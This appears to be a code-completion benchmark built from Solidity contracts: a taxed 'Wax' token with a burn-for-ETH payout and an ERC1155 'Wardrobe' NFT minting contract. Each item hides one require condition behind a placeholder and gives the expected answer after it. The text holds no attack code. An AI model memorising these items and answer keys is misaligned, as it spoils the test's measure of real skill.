// SPDX-License-Identifier: MIT /* @@@@@@@@@@@@@&&#55J?!77777777!?Y55#&&@@@@@@@@@@@@@ @@@@@@@@@@&B5?777?J5PB#&&&&#BP5J?777?5#&@@@@@@@@@@ @@@@@@@&#57!7YPB&@@@@@@&@@@@@@@@@&BPY?!75#&@@@@@@@ @@@@@@57!!?G&@@@@@@@@@&7?#@@@@@@@@@@@&GJ!!?P@@@@@@ @@@@BY!!?P&@@@@@@@@@@@@B:~&@@@@@@@@@@@@&G?!!Y#@@@@ @@@G7!JB&@@@@@@@@@@@@@@J:.?&@@@@@@@@@@@@@&BJ!7B@@@ @@5!!P@@@@@@@@@@@@@@@B!.:..~7&@@@@@@@@@@@@@@P77P@@ @G!!P@@@@@@@@@@@@@@&?7:^7!:.:#@@@@@@@@@@@@@@@P77G@ #7!?&@@@@@@@@@@@@@@&7!!??7~~7&@@@@@@@@@@@@@@@@J7?& 577B@@@@@@@@@@@@@&&&&G?GP!!P#&&&@@@@@@@@@@@@@@#??P 77P@@@@@@@@@@@@@&~~~77JGG~7!~^~!#@@@@@@@@@@@@@@G?? 77&@@@@@@@@@@@@@#::^:::^~::^^^^?&@@@@@@@@@@@@@@&J? 77&@@@@@@@@@@@@@&~^^^^^^^^~~~~!?&@@@@@@@@@@@@@@&J? 77P@@@@@@@@@@@@@&~^^~^^^^^!7~!7?&@@@@@@@@@@@@@@G?? Y7?B@@@@@@@@@@@@&!~!!^^^~!!7!!7J&@@@@@@@@@@@@@#J?5 #?7J&@@@@@@@@@@@&7!77~~^~!77?7?J&@@@@@@@@@@@@@Y??# @G77P@@@@@@@@@@@&7!!!!!^~!77?7?J&@@@@@@@@@@@@G??G@ @@5?7P@@@@@@@@@@&?77777~!!7??7?J&@@@@@@@@@@@G??5@@ @@@G?7YB&@@GP7777!!77??!777????75?????GG&@#Y??G@@@ @@@@#57?YP7^^~~^^~~~^~~!7!7??7~~~^~~~^^^?Y??5#@@@@ @@@@@@P??77!!!!~~!!~~~^~!!7??7^~!~~~~~!7???P&@@@@@ @@@@@@@&#PJ?777!!7!~~!!!7777!!^~!!!!77?JP#&@@@@@@@ @@@@@@@@@@&#PJJ????777777777!777???JJPB&@@@@@@@@@@ @@@@@@@@@@@@@&&#PPYJ??????????JYPP#&&@@@@@@@@@@@@@ */ /* The Burning Candle. A revolutionized deflationary token that rewards holders. Telegram: https://t.me/theburningcandle Website: https://www.candlewax.io X: https://twitter.com/candlewax_eth */ pragma solidity =0.8.15; import "./LPShare.sol"; contract Wax is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public router; address public pair; bool private swapping; bool public swapEnabled = true; bool public claimEnabled; bool public tradingEnabled; bool public burnEnabled; WaxDividendTracker public dividendTracker; address public devWallet; uint256 public swapTokensAtAmount; uint256 public maxBuyAmount; uint256 public maxSellAmount; uint256 public maxWallet; uint256 firstBuyTax = 15; uint256 secondBuyTax = 10; uint256 finalBuyTax = 5; uint256 firstSellTax = 20; uint256 secondSellTax = 15; uint256 thirdSellTax = 10; uint256 finalSellTax = 5; uint256 public totalBurned = 0; uint256 public totalBurnRewards = 0; uint256 public burnCapDivisor = 10; // Divisor for burn reward cap per tx uint256 public burnSub1EthCap = 100000000000000000; // cap in gwei if rewards < 1 Eth struct Shares { uint256 liquidity; uint256 dev; uint256 burn; uint256 burnForEth; } Shares public shares = Shares(2, 1, 0, 2); uint256 public totalShares = 5; uint256 private _startTxTimestamp; mapping(address => bool) public _isBot; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public automatedMarketMakerPairs; mapping(address => bool) private _isExcludedFromMaxWallet; /////////////// // Events // /////////////// event ExcludeFromFees(address indexed account, bool isExcluded); event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event GasForProcessingUpdated( uint256 indexed newValue, uint256 indexed oldValue ); event SendDividends(uint256 tokensSwapped, uint256 amount); event ProcessedDividendTracker( uint256 iterations, uint256 claims, uint256 lastProcessedIndex, bool indexed automatic, uint256 gas, address indexed processor ); event BurnedTokensForEth( address account, uint256 burnAmount, uint256 ethRecievedAmount ); constructor(address _developerwallet) ERC20("Candle", "WAX") { } receive() external payable {} function updateDividendTracker(address newAddress) public onlyOwner { } function claim() external { } function burnForEth(uint256 amount) public returns (bool) { require(burnEnabled, "Burn not enabled"); require(balanceOf(_msgSender()) >= amount, "not enough funds to burn"); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); uint256[] memory a = router.getAmountsOut(amount, path); uint256 cap; if (address(this).balance <= 1 ether) { cap = burnSub1EthCap; } else { cap = address(this).balance / burnCapDivisor; } require(<FILL_ME>) require( address(this).balance >= a[a.length - 1], "not enough funds in contract" ); transferToAddressETH(payable(msg.sender), a[a.length - 1]); super._burn(_msgSender(), amount); totalBurnRewards += a[a.length - 1]; totalBurned += amount; emit BurnedTokensForEth(_msgSender(), amount, a[a.length - 1]); return true; } function updateMaxWalletAmount(uint256 newNum) public onlyOwner { } function setMaxBuyAndSell(uint256 maxBuy, uint256 maxSell) public onlyOwner { } function setSwapTokensAtAmount(uint256 amount) public onlyOwner { } function excludeFromMaxWallet(address account, bool excluded) public onlyOwner { } function rescueETH20Tokens(address tokenAddress) external onlyOwner { } function forceSend() external onlyOwner { } function trackerRescueETH20Tokens(address tokenAddress) external onlyOwner { } function updateRouter(address newRouter) external onlyOwner { } ///////////////////////////////// // Exclude / Include functions // ///////////////////////////////// function excludeFromFees(address account, bool excluded) public onlyOwner { } function excludeFromDividends(address account, bool value) public onlyOwner { } function setDevWallet(address newWallet) public onlyOwner { } function setDistributionSettings( uint256 _liquidity, uint256 _dev, uint256 _burn, uint256 _burnForEth ) external onlyOwner { } function setFinalBuyAndSellTaxes(uint256 _buyTax, uint256 _sellTax) external onlyOwner { } function setSwapEnabled(bool _enabled) external onlyOwner { } function setBurnEnabled(bool _enabled) external onlyOwner { } function activateTrading() external onlyOwner { } function setClaimEnabled(bool state) external onlyOwner { } function setBot(address bot, bool value) external onlyOwner { } function setLP_Token(address _lpToken) external onlyOwner { } function setAutomatedMarketMakerPair(address newPair, bool value) external onlyOwner { } function _setAutomatedMarketMakerPair(address newPair, bool value) private { } ////////////////////// // Getter Functions // ////////////////////// function getTotalDividendsDistributed() external view returns (uint256) { } function isExcludedFromFees(address account) public view returns (bool) { } function withdrawableDividendOf(address account) public view returns (uint256) { } function dividendTokenBalanceOf(address account) public view returns (uint256) { } function getAccountInfo(address account) external view returns ( address, uint256, uint256, uint256, uint256 ) { } //////////////////////// // Transfer Functions // //////////////////////// function _transfer( address from, address to, uint256 amount ) internal override { } function swapAndLiquify(uint256 tokens) private { } function ManualLiquidityDistribution(uint256 amount) public onlyOwner { } function transferToAddressETH(address payable recipient, uint256 amount) private { } function swapTokensForETH(uint256 tokenAmount) private { } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { } } contract WaxDividendTracker is Ownable, SharePayingToken { struct AccountInfo { address account; uint256 withdrawableDividends; uint256 totalDividends; uint256 lastClaimTime; } mapping(address => bool) public excludedFromDividends; mapping(address => uint256) public lastClaimTimes; event ExcludeFromDividends(address indexed account, bool value); event Claim(address indexed account, uint256 amount); constructor() SharePayingToken("Wax_Dividend_Tracker", "Wax_Dividend_Tracker") {} function trackerRescueETH20Tokens(address recipient, address tokenAddress) external onlyOwner { } function updateLP_Token(address _lpToken) external onlyOwner { } function _transfer( address, address, uint256 ) internal pure override { } function excludeFromDividends(address account, bool value) external onlyOwner { } function getAccount(address account) public view returns ( address, uint256, uint256, uint256, uint256 ) { } function setBalance(address account, uint256 newBalance) external onlyOwner { } function processAccount(address payable account) external onlyOwner returns (bool) { } }
a[a.length-1]<=cap,"amount greater than cap"
228,588
a[a.length-1]<=cap
"not enough funds in contract"
// SPDX-License-Identifier: MIT /* @@@@@@@@@@@@@&&#55J?!77777777!?Y55#&&@@@@@@@@@@@@@ @@@@@@@@@@&B5?777?J5PB#&&&&#BP5J?777?5#&@@@@@@@@@@ @@@@@@@&#57!7YPB&@@@@@@&@@@@@@@@@&BPY?!75#&@@@@@@@ @@@@@@57!!?G&@@@@@@@@@&7?#@@@@@@@@@@@&GJ!!?P@@@@@@ @@@@BY!!?P&@@@@@@@@@@@@B:~&@@@@@@@@@@@@&G?!!Y#@@@@ @@@G7!JB&@@@@@@@@@@@@@@J:.?&@@@@@@@@@@@@@&BJ!7B@@@ @@5!!P@@@@@@@@@@@@@@@B!.:..~7&@@@@@@@@@@@@@@P77P@@ @G!!P@@@@@@@@@@@@@@&?7:^7!:.:#@@@@@@@@@@@@@@@P77G@ #7!?&@@@@@@@@@@@@@@&7!!??7~~7&@@@@@@@@@@@@@@@@J7?& 577B@@@@@@@@@@@@@&&&&G?GP!!P#&&&@@@@@@@@@@@@@@#??P 77P@@@@@@@@@@@@@&~~~77JGG~7!~^~!#@@@@@@@@@@@@@@G?? 77&@@@@@@@@@@@@@#::^:::^~::^^^^?&@@@@@@@@@@@@@@&J? 77&@@@@@@@@@@@@@&~^^^^^^^^~~~~!?&@@@@@@@@@@@@@@&J? 77P@@@@@@@@@@@@@&~^^~^^^^^!7~!7?&@@@@@@@@@@@@@@G?? Y7?B@@@@@@@@@@@@&!~!!^^^~!!7!!7J&@@@@@@@@@@@@@#J?5 #?7J&@@@@@@@@@@@&7!77~~^~!77?7?J&@@@@@@@@@@@@@Y??# @G77P@@@@@@@@@@@&7!!!!!^~!77?7?J&@@@@@@@@@@@@G??G@ @@5?7P@@@@@@@@@@&?77777~!!7??7?J&@@@@@@@@@@@G??5@@ @@@G?7YB&@@GP7777!!77??!777????75?????GG&@#Y??G@@@ @@@@#57?YP7^^~~^^~~~^~~!7!7??7~~~^~~~^^^?Y??5#@@@@ @@@@@@P??77!!!!~~!!~~~^~!!7??7^~!~~~~~!7???P&@@@@@ @@@@@@@&#PJ?777!!7!~~!!!7777!!^~!!!!77?JP#&@@@@@@@ @@@@@@@@@@&#PJJ????777777777!777???JJPB&@@@@@@@@@@ @@@@@@@@@@@@@&&#PPYJ??????????JYPP#&&@@@@@@@@@@@@@ */ /* The Burning Candle. A revolutionized deflationary token that rewards holders. Telegram: https://t.me/theburningcandle Website: https://www.candlewax.io X: https://twitter.com/candlewax_eth */ pragma solidity =0.8.15; import "./LPShare.sol"; contract Wax is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public router; address public pair; bool private swapping; bool public swapEnabled = true; bool public claimEnabled; bool public tradingEnabled; bool public burnEnabled; WaxDividendTracker public dividendTracker; address public devWallet; uint256 public swapTokensAtAmount; uint256 public maxBuyAmount; uint256 public maxSellAmount; uint256 public maxWallet; uint256 firstBuyTax = 15; uint256 secondBuyTax = 10; uint256 finalBuyTax = 5; uint256 firstSellTax = 20; uint256 secondSellTax = 15; uint256 thirdSellTax = 10; uint256 finalSellTax = 5; uint256 public totalBurned = 0; uint256 public totalBurnRewards = 0; uint256 public burnCapDivisor = 10; // Divisor for burn reward cap per tx uint256 public burnSub1EthCap = 100000000000000000; // cap in gwei if rewards < 1 Eth struct Shares { uint256 liquidity; uint256 dev; uint256 burn; uint256 burnForEth; } Shares public shares = Shares(2, 1, 0, 2); uint256 public totalShares = 5; uint256 private _startTxTimestamp; mapping(address => bool) public _isBot; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public automatedMarketMakerPairs; mapping(address => bool) private _isExcludedFromMaxWallet; /////////////// // Events // /////////////// event ExcludeFromFees(address indexed account, bool isExcluded); event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event GasForProcessingUpdated( uint256 indexed newValue, uint256 indexed oldValue ); event SendDividends(uint256 tokensSwapped, uint256 amount); event ProcessedDividendTracker( uint256 iterations, uint256 claims, uint256 lastProcessedIndex, bool indexed automatic, uint256 gas, address indexed processor ); event BurnedTokensForEth( address account, uint256 burnAmount, uint256 ethRecievedAmount ); constructor(address _developerwallet) ERC20("Candle", "WAX") { } receive() external payable {} function updateDividendTracker(address newAddress) public onlyOwner { } function claim() external { } function burnForEth(uint256 amount) public returns (bool) { require(burnEnabled, "Burn not enabled"); require(balanceOf(_msgSender()) >= amount, "not enough funds to burn"); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); uint256[] memory a = router.getAmountsOut(amount, path); uint256 cap; if (address(this).balance <= 1 ether) { cap = burnSub1EthCap; } else { cap = address(this).balance / burnCapDivisor; } require(a[a.length - 1] <= cap, "amount greater than cap"); require(<FILL_ME>) transferToAddressETH(payable(msg.sender), a[a.length - 1]); super._burn(_msgSender(), amount); totalBurnRewards += a[a.length - 1]; totalBurned += amount; emit BurnedTokensForEth(_msgSender(), amount, a[a.length - 1]); return true; } function updateMaxWalletAmount(uint256 newNum) public onlyOwner { } function setMaxBuyAndSell(uint256 maxBuy, uint256 maxSell) public onlyOwner { } function setSwapTokensAtAmount(uint256 amount) public onlyOwner { } function excludeFromMaxWallet(address account, bool excluded) public onlyOwner { } function rescueETH20Tokens(address tokenAddress) external onlyOwner { } function forceSend() external onlyOwner { } function trackerRescueETH20Tokens(address tokenAddress) external onlyOwner { } function updateRouter(address newRouter) external onlyOwner { } ///////////////////////////////// // Exclude / Include functions // ///////////////////////////////// function excludeFromFees(address account, bool excluded) public onlyOwner { } function excludeFromDividends(address account, bool value) public onlyOwner { } function setDevWallet(address newWallet) public onlyOwner { } function setDistributionSettings( uint256 _liquidity, uint256 _dev, uint256 _burn, uint256 _burnForEth ) external onlyOwner { } function setFinalBuyAndSellTaxes(uint256 _buyTax, uint256 _sellTax) external onlyOwner { } function setSwapEnabled(bool _enabled) external onlyOwner { } function setBurnEnabled(bool _enabled) external onlyOwner { } function activateTrading() external onlyOwner { } function setClaimEnabled(bool state) external onlyOwner { } function setBot(address bot, bool value) external onlyOwner { } function setLP_Token(address _lpToken) external onlyOwner { } function setAutomatedMarketMakerPair(address newPair, bool value) external onlyOwner { } function _setAutomatedMarketMakerPair(address newPair, bool value) private { } ////////////////////// // Getter Functions // ////////////////////// function getTotalDividendsDistributed() external view returns (uint256) { } function isExcludedFromFees(address account) public view returns (bool) { } function withdrawableDividendOf(address account) public view returns (uint256) { } function dividendTokenBalanceOf(address account) public view returns (uint256) { } function getAccountInfo(address account) external view returns ( address, uint256, uint256, uint256, uint256 ) { } //////////////////////// // Transfer Functions // //////////////////////// function _transfer( address from, address to, uint256 amount ) internal override { } function swapAndLiquify(uint256 tokens) private { } function ManualLiquidityDistribution(uint256 amount) public onlyOwner { } function transferToAddressETH(address payable recipient, uint256 amount) private { } function swapTokensForETH(uint256 tokenAmount) private { } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { } } contract WaxDividendTracker is Ownable, SharePayingToken { struct AccountInfo { address account; uint256 withdrawableDividends; uint256 totalDividends; uint256 lastClaimTime; } mapping(address => bool) public excludedFromDividends; mapping(address => uint256) public lastClaimTimes; event ExcludeFromDividends(address indexed account, bool value); event Claim(address indexed account, uint256 amount); constructor() SharePayingToken("Wax_Dividend_Tracker", "Wax_Dividend_Tracker") {} function trackerRescueETH20Tokens(address recipient, address tokenAddress) external onlyOwner { } function updateLP_Token(address _lpToken) external onlyOwner { } function _transfer( address, address, uint256 ) internal pure override { } function excludeFromDividends(address account, bool value) external onlyOwner { } function getAccount(address account) public view returns ( address, uint256, uint256, uint256, uint256 ) { } function setBalance(address account, uint256 newBalance) external onlyOwner { } function processAccount(address payable account) external onlyOwner returns (bool) { } }
address(this).balance>=a[a.length-1],"not enough funds in contract"
228,588
address(this).balance>=a[a.length-1]
"Item Type out of scope!"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; interface IMetamon { function metamonOwnership(address owner, uint256 requiredMetamon) external returns (bool); } struct ItemTypeInfo { uint256 itemPrice; uint256 maxMintable; uint256 itemSupply; uint256[] requiredMetamon; bytes32 itemMerkleRoot; string uri; bool valid; } contract Wardrobe is ERC1155Supply, Ownable, ReentrancyGuard { using Strings for uint256; IMetamon public metamonContract; address payable public paymentContractAddress; string public name; string public symbol; mapping(uint256 => ItemTypeInfo) itemTypes; mapping(address => mapping(uint256 => uint256)) itemsMinted; uint256 numberOfItemTypes; /////////////////////////////////////////////////////////////////////////// // Events /////////////////////////////////////////////////////////////////////////// event ItemMinted(address _receiver, uint256 _tokenId, uint256 _quantity); event ItemsMinted(address _receiver, uint256[] _tokenId, uint256[] _quantity); constructor() payable ERC1155( "https://gateway.pinata.cloud/ipfs/INSERT_IPFS_HASH_HERE/{id}.json" ) { } /////////////////////////////////////////////////////////////////////////// // Pre-Function Conditions /////////////////////////////////////////////////////////////////////////// modifier itemTypeCheck(uint256 _itemType) { require(<FILL_ME>) _; } modifier itemTypesCheck(uint256[] memory _itemTypes) { } modifier maxMintableCheck(uint256 _itemType, uint256 _quantity) { } modifier requiredMetamonCheck(uint256 _itemType) { } modifier requiredMetamonChecks(uint256[] memory _itemTypes) { } /////////////////////////////////////////////////////////////////////////// // Add/Del State Changes /////////////////////////////////////////////////////////////////////////// function addWardrobeItem( uint256 _itemType, uint256 _itemPrice, uint256 _maxMintable, uint256 _itemSupply, uint256[] memory _requiredMetamon, bytes32 _itemMerkleRoot, string memory _uri ) external onlyOwner { } function setWardrobeItemValid(uint256 _itemType, bool _valid) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Get/Set/Add State Changes /////////////////////////////////////////////////////////////////////////// function setItemPrice(uint256 _newPrice, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemPrice(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setMaxMintable(uint256 _maxMintable, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getMaxMintable(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setItemSupply(uint256 _itemSupply, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemSupply(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setRequiredMetamon( uint256[] memory _requiredMetamon, uint256 _itemType ) external onlyOwner itemTypeCheck(_itemType) { } function getRequiredMetamon(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256[] memory) { } function setMerkleRoot(bytes32 _newMerkleRoot, uint256 _itemType) external onlyOwner { } function getMerkleRoot(uint256 _itemType) external view onlyOwner returns (bytes32) { } function totalItemTypes() public view returns (uint256) { } function setMetamonContractAddress(address _metamonContractAddress) external onlyOwner { } function setPaymentAddress( address payable _contractAddress ) external onlyOwner { } function getPaymentAddress() public view onlyOwner returns (address){ } /////////////////////////////////////////////////////////////////////////// // Mint Tokens /////////////////////////////////////////////////////////////////////////// function mintSale(uint256 _itemType, uint256 _quantity) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function mintMultipleSale( uint256[] memory _itemTypes, uint256[] memory _quantity ) external payable itemTypesCheck(_itemTypes) nonReentrant { } function mintSpecialItem( uint256 _itemType, uint256 _quantity, bytes32[] calldata _merkleProof ) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function claimCollectionReward(uint256 _itemType, uint256 _quantity) external itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) requiredMetamonCheck(_itemType) nonReentrant { } function happyEnding( address _user, uint256 _itemType, uint256 _quantity ) external itemTypeCheck(_itemType) nonReentrant { } /////////////////////////////////////////////////////////////////////////// // Backend URIs /////////////////////////////////////////////////////////////////////////// function uri(uint256 _itemType) public view override returns (string memory) { } function setTokenUri(uint256 _itemType, string memory newUri) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Withdraw /////////////////////////////////////////////////////////////////////////// function withdraw() external onlyOwner nonReentrant { } }
itemTypes[_itemType].valid,"Item Type out of scope!"
228,623
itemTypes[_itemType].valid
"Item Type is out of scope!"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; interface IMetamon { function metamonOwnership(address owner, uint256 requiredMetamon) external returns (bool); } struct ItemTypeInfo { uint256 itemPrice; uint256 maxMintable; uint256 itemSupply; uint256[] requiredMetamon; bytes32 itemMerkleRoot; string uri; bool valid; } contract Wardrobe is ERC1155Supply, Ownable, ReentrancyGuard { using Strings for uint256; IMetamon public metamonContract; address payable public paymentContractAddress; string public name; string public symbol; mapping(uint256 => ItemTypeInfo) itemTypes; mapping(address => mapping(uint256 => uint256)) itemsMinted; uint256 numberOfItemTypes; /////////////////////////////////////////////////////////////////////////// // Events /////////////////////////////////////////////////////////////////////////// event ItemMinted(address _receiver, uint256 _tokenId, uint256 _quantity); event ItemsMinted(address _receiver, uint256[] _tokenId, uint256[] _quantity); constructor() payable ERC1155( "https://gateway.pinata.cloud/ipfs/INSERT_IPFS_HASH_HERE/{id}.json" ) { } /////////////////////////////////////////////////////////////////////////// // Pre-Function Conditions /////////////////////////////////////////////////////////////////////////// modifier itemTypeCheck(uint256 _itemType) { } modifier itemTypesCheck(uint256[] memory _itemTypes) { for (uint i = 0; i < _itemTypes.length; i++) { require(<FILL_ME>) } _; } modifier maxMintableCheck(uint256 _itemType, uint256 _quantity) { } modifier requiredMetamonCheck(uint256 _itemType) { } modifier requiredMetamonChecks(uint256[] memory _itemTypes) { } /////////////////////////////////////////////////////////////////////////// // Add/Del State Changes /////////////////////////////////////////////////////////////////////////// function addWardrobeItem( uint256 _itemType, uint256 _itemPrice, uint256 _maxMintable, uint256 _itemSupply, uint256[] memory _requiredMetamon, bytes32 _itemMerkleRoot, string memory _uri ) external onlyOwner { } function setWardrobeItemValid(uint256 _itemType, bool _valid) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Get/Set/Add State Changes /////////////////////////////////////////////////////////////////////////// function setItemPrice(uint256 _newPrice, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemPrice(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setMaxMintable(uint256 _maxMintable, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getMaxMintable(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setItemSupply(uint256 _itemSupply, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemSupply(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setRequiredMetamon( uint256[] memory _requiredMetamon, uint256 _itemType ) external onlyOwner itemTypeCheck(_itemType) { } function getRequiredMetamon(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256[] memory) { } function setMerkleRoot(bytes32 _newMerkleRoot, uint256 _itemType) external onlyOwner { } function getMerkleRoot(uint256 _itemType) external view onlyOwner returns (bytes32) { } function totalItemTypes() public view returns (uint256) { } function setMetamonContractAddress(address _metamonContractAddress) external onlyOwner { } function setPaymentAddress( address payable _contractAddress ) external onlyOwner { } function getPaymentAddress() public view onlyOwner returns (address){ } /////////////////////////////////////////////////////////////////////////// // Mint Tokens /////////////////////////////////////////////////////////////////////////// function mintSale(uint256 _itemType, uint256 _quantity) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function mintMultipleSale( uint256[] memory _itemTypes, uint256[] memory _quantity ) external payable itemTypesCheck(_itemTypes) nonReentrant { } function mintSpecialItem( uint256 _itemType, uint256 _quantity, bytes32[] calldata _merkleProof ) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function claimCollectionReward(uint256 _itemType, uint256 _quantity) external itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) requiredMetamonCheck(_itemType) nonReentrant { } function happyEnding( address _user, uint256 _itemType, uint256 _quantity ) external itemTypeCheck(_itemType) nonReentrant { } /////////////////////////////////////////////////////////////////////////// // Backend URIs /////////////////////////////////////////////////////////////////////////// function uri(uint256 _itemType) public view override returns (string memory) { } function setTokenUri(uint256 _itemType, string memory newUri) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Withdraw /////////////////////////////////////////////////////////////////////////// function withdraw() external onlyOwner nonReentrant { } }
itemTypes[_itemTypes[i]].valid,"Item Type is out of scope!"
228,623
itemTypes[_itemTypes[i]].valid
"User is trying to mint more than allocated."
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; interface IMetamon { function metamonOwnership(address owner, uint256 requiredMetamon) external returns (bool); } struct ItemTypeInfo { uint256 itemPrice; uint256 maxMintable; uint256 itemSupply; uint256[] requiredMetamon; bytes32 itemMerkleRoot; string uri; bool valid; } contract Wardrobe is ERC1155Supply, Ownable, ReentrancyGuard { using Strings for uint256; IMetamon public metamonContract; address payable public paymentContractAddress; string public name; string public symbol; mapping(uint256 => ItemTypeInfo) itemTypes; mapping(address => mapping(uint256 => uint256)) itemsMinted; uint256 numberOfItemTypes; /////////////////////////////////////////////////////////////////////////// // Events /////////////////////////////////////////////////////////////////////////// event ItemMinted(address _receiver, uint256 _tokenId, uint256 _quantity); event ItemsMinted(address _receiver, uint256[] _tokenId, uint256[] _quantity); constructor() payable ERC1155( "https://gateway.pinata.cloud/ipfs/INSERT_IPFS_HASH_HERE/{id}.json" ) { } /////////////////////////////////////////////////////////////////////////// // Pre-Function Conditions /////////////////////////////////////////////////////////////////////////// modifier itemTypeCheck(uint256 _itemType) { } modifier itemTypesCheck(uint256[] memory _itemTypes) { } modifier maxMintableCheck(uint256 _itemType, uint256 _quantity) { require(<FILL_ME>) require( totalSupply(_itemType) + _quantity <= itemTypes[_itemType].itemSupply, "User is trying to mint more than total supply." ); _; } modifier requiredMetamonCheck(uint256 _itemType) { } modifier requiredMetamonChecks(uint256[] memory _itemTypes) { } /////////////////////////////////////////////////////////////////////////// // Add/Del State Changes /////////////////////////////////////////////////////////////////////////// function addWardrobeItem( uint256 _itemType, uint256 _itemPrice, uint256 _maxMintable, uint256 _itemSupply, uint256[] memory _requiredMetamon, bytes32 _itemMerkleRoot, string memory _uri ) external onlyOwner { } function setWardrobeItemValid(uint256 _itemType, bool _valid) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Get/Set/Add State Changes /////////////////////////////////////////////////////////////////////////// function setItemPrice(uint256 _newPrice, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemPrice(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setMaxMintable(uint256 _maxMintable, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getMaxMintable(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setItemSupply(uint256 _itemSupply, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemSupply(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setRequiredMetamon( uint256[] memory _requiredMetamon, uint256 _itemType ) external onlyOwner itemTypeCheck(_itemType) { } function getRequiredMetamon(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256[] memory) { } function setMerkleRoot(bytes32 _newMerkleRoot, uint256 _itemType) external onlyOwner { } function getMerkleRoot(uint256 _itemType) external view onlyOwner returns (bytes32) { } function totalItemTypes() public view returns (uint256) { } function setMetamonContractAddress(address _metamonContractAddress) external onlyOwner { } function setPaymentAddress( address payable _contractAddress ) external onlyOwner { } function getPaymentAddress() public view onlyOwner returns (address){ } /////////////////////////////////////////////////////////////////////////// // Mint Tokens /////////////////////////////////////////////////////////////////////////// function mintSale(uint256 _itemType, uint256 _quantity) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function mintMultipleSale( uint256[] memory _itemTypes, uint256[] memory _quantity ) external payable itemTypesCheck(_itemTypes) nonReentrant { } function mintSpecialItem( uint256 _itemType, uint256 _quantity, bytes32[] calldata _merkleProof ) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function claimCollectionReward(uint256 _itemType, uint256 _quantity) external itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) requiredMetamonCheck(_itemType) nonReentrant { } function happyEnding( address _user, uint256 _itemType, uint256 _quantity ) external itemTypeCheck(_itemType) nonReentrant { } /////////////////////////////////////////////////////////////////////////// // Backend URIs /////////////////////////////////////////////////////////////////////////// function uri(uint256 _itemType) public view override returns (string memory) { } function setTokenUri(uint256 _itemType, string memory newUri) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Withdraw /////////////////////////////////////////////////////////////////////////// function withdraw() external onlyOwner nonReentrant { } }
itemsMinted[msg.sender][_itemType]+_quantity<=itemTypes[_itemType].maxMintable,"User is trying to mint more than allocated."
228,623
itemsMinted[msg.sender][_itemType]+_quantity<=itemTypes[_itemType].maxMintable
"User is trying to mint more than total supply."
